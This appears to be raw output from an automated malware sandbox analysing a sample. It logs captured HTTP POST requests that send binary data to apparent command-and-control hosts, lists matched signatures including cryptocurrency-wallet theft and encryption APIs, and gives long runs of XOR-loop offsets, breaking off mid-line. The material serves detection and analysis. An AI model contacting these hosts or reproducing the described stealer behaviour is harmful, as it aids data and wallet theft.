BPEU3BB_KfWlxp2kTrSReAConnection: keep-aliveContent-Length: 35273User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "Type" in header "POST /L7-hLz.9DFjOBP-ypN1hZh_AT4qt HTTP/1.1Host: turbine.grandauto.cfdContent-Type: application/octet-streamX-Request-ID: BPEU3BB_KfWlxp2kTrSReAConnection: keep-aliveContent-Length: 35273User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "KfWlxp2kTrSReAConnection" in header "POST /L7-hLz.9DFjOBP-ypN1hZh_AT4qt HTTP/1.1Host: turbine.grandauto.cfdContent-Type: application/octet-streamX-Request-ID: BPEU3BB_KfWlxp2kTrSReAConnection: keep-aliveContent-Length: 35273User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "keep" in header "POST /L7-hLz.9DFjOBP-ypN1hZh_AT4qt HTTP/1.1Host: turbine.grandauto.cfdContent-Type: application/octet-streamX-Request-ID: BPEU3BB_KfWlxp2kTrSReAConnection: keep-aliveContent-Length: 35273User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "aliveContent" in header "POST /L7-hLz.9DFjOBP-ypN1hZh_AT4qt HTTP/1.1Host: turbine.grandauto.cfdContent-Type: application/octet-streamX-Request-ID: BPEU3BB_KfWlxp2kTrSReAConnection: keep-aliveContent-Length: 35273User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "like" in header "POST /L7-hLz.9DFjOBP-ypN1hZh_AT4qt HTTP/1.1Host: turbine.grandauto.cfdContent-Type: application/octet-streamX-Request-ID: BPEU3BB_KfWlxp2kTrSReAConnection: keep-aliveContent-Length: 35273User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "6187" in header "POST /L7-hLz.9DFjOBP-ypN1hZh_AT4qt HTTP/1.1Host: turbine.grandauto.cfdContent-Type: application/octet-streamX-Request-ID: BPEU3BB_KfWlxp2kTrSReAConnection: keep-aliveContent-Length: 35273User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "POST" in header "POST /L7-hLz.9DFjOBP-ypN1hZh_AT4qt HTTP/1.1Host: turbine.grandauto.cfdContent-Type: application/octet-streamX-Request-ID: BPEU3BB_KfWlxp2kTrSReAConnection: keep-aliveContent-Length: 21154User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "Type" in header "POST /L7-hLz.9DFjOBP-ypN1hZh_AT4qt HTTP/1.1Host: turbine.grandauto.cfdContent-Type: application/octet-streamX-Request-ID: BPEU3BB_KfWlxp2kTrSReAConnection: keep-aliveContent-Length: 21154User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "KfWlxp2kTrSReAConnection" in header "POST /L7-hLz.9DFjOBP-ypN1hZh_AT4qt HTTP/1.1Host: turbine.grandauto.cfdContent-Type: application/octet-streamX-Request-ID: BPEU3BB_KfWlxp2kTrSReAConnection: keep-aliveContent-Length: 21154User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "keep" in header "POST /L7-hLz.9DFjOBP-ypN1hZh_AT4qt HTTP/1.1Host: turbine.grandauto.cfdContent-Type: application/octet-streamX-Request-ID: BPEU3BB_KfWlxp2kTrSReAConnection: keep-aliveContent-Length: 21154User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "aliveContent" in header "POST /L7-hLz.9DFjOBP-ypN1hZh_AT4qt HTTP/1.1Host: turbine.grandauto.cfdContent-Type: application/octet-streamX-Request-ID: BPEU3BB_KfWlxp2kTrSReAConnection: keep-aliveContent-Length: 21154User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "like" in header "POST /L7-hLz.9DFjOBP-ypN1hZh_AT4qt HTTP/1.1Host: turbine.grandauto.cfdContent-Type: application/octet-streamX-Request-ID: BPEU3BB_KfWlxp2kTrSReAConnection: keep-aliveContent-Length: 21154User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "6187" in header "POST /L7-hLz.9DFjOBP-ypN1hZh_AT4qt HTTP/1.1Host: turbine.grandauto.cfdContent-Type: application/octet-streamX-Request-ID: BPEU3BB_KfWlxp2kTrSReAConnection: keep-aliveContent-Length: 21154User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "POST" in header "POST /tR4-YlU5Um-cyv-wP HTTP/1.1Host: turbine.grandauto.cfdContent-Type: application/octet-streamX-Request-ID: BPEU3BB_KfWlxp2kTrSReAConnection: keep-aliveContent-Length: 452364User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "/tR4" in header "POST /tR4-YlU5Um-cyv-wP HTTP/1.1Host: turbine.grandauto.cfdContent-Type: application/octet-streamX-Request-ID: BPEU3BB_KfWlxp2kTrSReAConnection: keep-aliveContent-Length: 452364User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "Type" in header "POST /tR4-YlU5Um-cyv-wP HTTP/1.1Host: turbine.grandauto.cfdContent-Type: application/octet-streamX-Request-ID: BPEU3BB_KfWlxp2kTrSReAConnection: keep-aliveContent-Length: 452364User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "KfWlxp2kTrSReAConnection" in header "POST /tR4-YlU5Um-cyv-wP HTTP/1.1Host: turbine.grandauto.cfdContent-Type: application/octet-streamX-Request-ID: BPEU3BB_KfWlxp2kTrSReAConnection: keep-aliveContent-Length: 452364User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "keep" in header "POST /tR4-YlU5Um-cyv-wP HTTP/1.1Host: turbine.grandauto.cfdContent-Type: application/octet-streamX-Request-ID: BPEU3BB_KfWlxp2kTrSReAConnection: keep-aliveContent-Length: 452364User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "aliveContent" in header "POST /tR4-YlU5Um-cyv-wP HTTP/1.1Host: turbine.grandauto.cfdContent-Type: application/octet-streamX-Request-ID: BPEU3BB_KfWlxp2kTrSReAConnection: keep-aliveContent-Length: 452364User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "like" in header "POST /tR4-YlU5Um-cyv-wP HTTP/1.1Host: turbine.grandauto.cfdContent-Type: application/octet-streamX-Request-ID: BPEU3BB_KfWlxp2kTrSReAConnection: keep-aliveContent-Length: 452364User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "6187" in header "POST /tR4-YlU5Um-cyv-wP HTTP/1.1Host: turbine.grandauto.cfdContent-Type: application/octet-streamX-Request-ID: BPEU3BB_KfWlxp2kTrSReAConnection: keep-aliveContent-Length: 452364User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "like" in header "GET /todos/130 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110Host: jsonplaceholder.typicode.comAccept-Encoding: gzip, deflateConnection: Keep-Alive" Contains base64 string in header "6743" in header "GET /todos/130 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110Host: jsonplaceholder.typicode.comAccept-Encoding: gzip, deflateConnection: Keep-Alive" Contains base64 string in header "2436" in header "GET /todos/130 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110Host: jsonplaceholder.typicode.comAccept-Encoding: gzip, deflateConnection: Keep-Alive" Contains base64 string in header "typicode" in header "GET /todos/130 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110Host: jsonplaceholder.typicode.comAccept-Encoding: gzip, deflateConnection: Keep-Alive" Contains base64 string in header "Encoding" in header "GET /todos/130 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110Host: jsonplaceholder.typicode.comAccept-Encoding: gzip, deflateConnection: Keep-Alive" Contains base64 string in header "gzip" in header "GET /todos/130 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110Host: jsonplaceholder.typicode.comAccept-Encoding: gzip, deflateConnection: Keep-Alive" Contains base64 string in header "Keep" in header "GET /todos/130 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110Host: jsonplaceholder.typicode.comAccept-Encoding: gzip, deflateConnection: Keep-Alive" Contains base64 string in header "like" in header "GET /chai HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110Host: registry.npmjs.orgAccept-Encoding: gzip, deflateConnection: Keep-Alive" Contains base64 string in header "6743" in header "GET /chai HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110Host: registry.npmjs.orgAccept-Encoding: gzip, deflateConnection: Keep-Alive" Contains base64 string in header "2436" in header "GET /chai HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110Host: registry.npmjs.orgAccept-Encoding: gzip, deflateConnection: Keep-Alive" Contains base64 string in header "registry" in header "GET /chai HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110Host: registry.npmjs.orgAccept-Encoding: gzip, deflateConnection: Keep-Alive" Contains base64 string in header "Encoding" in header "GET /chai HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110Host: registry.npmjs.orgAccept-Encoding: gzip, deflateConnection: Keep-Alive" Contains base64 string in header "gzip" in header "GET /chai HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110Host: registry.npmjs.orgAccept-Encoding: gzip, deflateConnection: Keep-Alive" Contains base64 string in header "Keep" in header "GET /chai HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110Host: registry.npmjs.orgAccept-Encoding: gzip, deflateConnection: Keep-Alive" Contains base64 string in header "/repos/google/ExoPlayer/contributors" in header "GET /repos/google/ExoPlayer/contributors HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110Host: api.github.comAccept-Encoding: gzip, deflateConnection: Keep-Alive" Contains base64 string in header "like" in header "GET /repos/google/ExoPlayer/contributors HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110Host: api.github.comAccept-Encoding: gzip, deflateConnection: Keep-Alive" Contains base64 string in header "6743" in header "GET /repos/google/ExoPlayer/contributors HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110Host: api.github.comAccept-Encoding: gzip, deflateConnection: Keep-Alive" Contains base64 string in header "2436" in header "GET /repos/google/ExoPlayer/contributors HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110Host: api.github.comAccept-Encoding: gzip, deflateConnection: Keep-Alive" Contains base64 string in header "Encoding" in header "GET /repos/google/ExoPlayer/contributors HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110Host: api.github.comAccept-Encoding: gzip, deflateConnection: Keep-Alive" Contains base64 string in header "gzip" in header "GET /repos/google/ExoPlayer/contributors HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110Host: api.github.comAccept-Encoding: gzip, deflateConnection: Keep-Alive" Contains base64 string in header "Keep" in header "GET /repos/google/ExoPlayer/contributors HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110Host: api.github.comAccept-Encoding: gzip, deflateConnection: Keep-Alive" Contains base64 string in header "like" in header "GET /repos/laravel/laravel/commits HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110Host: api.github.comAccept-Encoding: gzip, deflate" Contains base64 string in header "6743" in header "GET /repos/laravel/laravel/commits HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110Host: api.github.comAccept-Encoding: gzip, deflate" Contains base64 string in header "2436" in header "GET /repos/laravel/laravel/commits HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110Host: api.github.comAccept-Encoding: gzip, deflate" Contains base64 string in header "Encoding" in header "GET /repos/laravel/laravel/commits HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110Host: api.github.comAccept-Encoding: gzip, deflate" Contains base64 string in header "gzip" in header "GET /repos/laravel/laravel/commits HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110Host: api.github.comAccept-Encoding: gzip, deflate" Contains base64 string in header "like" in header "GET /v2/repositories/library/golang/tags/ HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110Host: hub.docker.comAccept-Encoding: gzip, deflateConnection: Keep-Alive" Contains base64 string in header "6743" in header "GET /v2/repositories/library/golang/tags/ HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110Host: hub.docker.comAccept-Encoding: gzip, deflateConnection: Keep-Alive" Contains base64 string in header "2436" in header "GET /v2/repositories/library/golang/tags/ HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110Host: hub.docker.comAccept-Encoding: gzip, deflateConnection: Keep-Alive" Contains base64 string in header "Encoding" in header "GET /v2/repositories/library/golang/tags/ HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110Host: hub.docker.comAccept-Encoding: gzip, deflateConnection: Keep-Alive" Contains base64 string in header "gzip" in header "GET /v2/repositories/library/golang/tags/ HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110Host: hub.docker.comAccept-Encoding: gzip, deflateConnection: Keep-Alive" Contains base64 string in header "Keep" in header "GET /v2/repositories/library/golang/tags/ HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110Host: hub.docker.comAccept-Encoding: gzip, deflateConnection: Keep-Alive" Contains base64 string in header "like" in header "GET /installazurecliwindows HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110Host: aka.msAccept-Encoding: gzip, deflateConnection: Keep-Alive" Contains base64 string in header "6743" in header "GET /installazurecliwindows HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110Host: aka.msAccept-Encoding: gzip, deflateConnection: Keep-Alive" Contains base64 string in header "2436" in header "GET /installazurecliwindows HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110Host: aka.msAccept-Encoding: gzip, deflateConnection: Keep-Alive" Contains base64 string in header "msAccept" in header "GET /installazurecliwindows HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110Host: aka.msAccept-Encoding: gzip, deflateConnection: Keep-Alive" Contains base64 string in header "Encoding" in header "GET /installazurecliwindows HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110Host: aka.msAccept-Encoding: gzip, deflateConnection: Keep-Alive" Contains base64 string in header "gzip" in header "GET /installazurecliwindows HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110Host: aka.msAccept-Encoding: gzip, deflateConnection: Keep-Alive" Contains base64 string in header "Keep" in header "GET /installazurecliwindows HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110Host: aka.msAccept-Encoding: gzip, deflateConnection: Keep-Alive" Contains base64 string in header "Keep" in header "GET /sdfkkiso87 HTTP/1.1Host: grantt.qumarox.icuConnection: Keep-Alive" Contains base64 string in header "like" in header "GET /todos/26 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110Host: jsonplaceholder.typicode.comAccept-Encoding: gzip, deflate" Contains base64 string in header "6743" in header "GET /todos/26 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110Host: jsonplaceholder.typicode.comAccept-Encoding: gzip, deflate" Contains base64 string in header "2436" in header "GET /todos/26 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110Host: jsonplaceholder.typicode.comAccept-Encoding: gzip, deflate" Contains base64 string in header "typicode" in header "GET /todos/26 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110Host: jsonplaceholder.typicode.comAccept-Encoding: gzip, deflate" Contains base64 string in header "Encoding" in header "GET /todos/26 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110Host: jsonplaceholder.typicode.comAccept-Encoding: gzip, deflate" Contains base64 string in header "gzip" in header "GET /todos/26 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110Host: jsonplaceholder.typicode.comAccept-Encoding: gzip, deflate"2d:T4e8,The analysis contains indicators for crypto or data obfuscation(base64/decrypt) which can hide information. Matched sigs: Contains ability to use Cryptographic classes Matched sigs: Contains CRYPTO related strings Matched sigs: Detected XOR operators (encryption/decryption) Matched sigs: References bcrypt module and functions (used for encryption/decryption) Matched sigs: Contains reference to cryptographic keys Matched sigs: Contains ability to perform encryption/decryption using RSA algorithm Matched sigs: Able to decrypt/decode data Matched sigs: Tries to steal Crypto currency wallets information (file access) Matched sigs: Reads the cryptographic machine GUID Matched sigs: Calls an API typically used to import cryptographic keys into a CSP Matched sigs: Calls an API typically used to import asymmetric cryptographic keys into a CSP Matched sigs: Calls an API typically used to encrypt a block of data Matched sigs: Calls an API typically used to decrypt a block of data Matched sigs: HTTP requests contain Base64 strings Matched sigs: Sample file has high entropy (likely encrypted/compressed content) Matched sigs: Contains XOR operation loops [Stream disassembly] Matched sigs: YARA signature match – Encryption algorithm2e:T7d48,Found XOR loop in file "sample.bin" at offset 105393; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 105399; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 134567; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 134658; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 346249; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 347623; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 348731; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 350281; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 351265; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 529793; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 578206; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 638827; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 709415; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 810908; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 847715; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 957074; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 999334; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1196285; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1235279; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1252206; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1292245; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1307395; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1403924; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1406189; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1431764; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1521407; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1674671; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1862719; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1894766; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2002290; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2069435; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2154250; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2232075; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2298436; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2452785; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2478687; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2561102; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2693659; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2726672; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2750083; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2851308; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2897578; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2967317; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2991298; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3019095; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3034623; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3208830; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3219566; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3250781; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3330053; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3396971; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3505816; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3563370; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3582215; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3590257; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3667760; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3678040; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3702069; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3732955; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3842314; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3884574; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 4081525; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 4120519; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 4137446; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 4177485; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 4192635; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 4289164; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 4291429; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 4317004; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 4406647; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 4559911; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 4747959; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 4780006; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 4887530; code bytes = 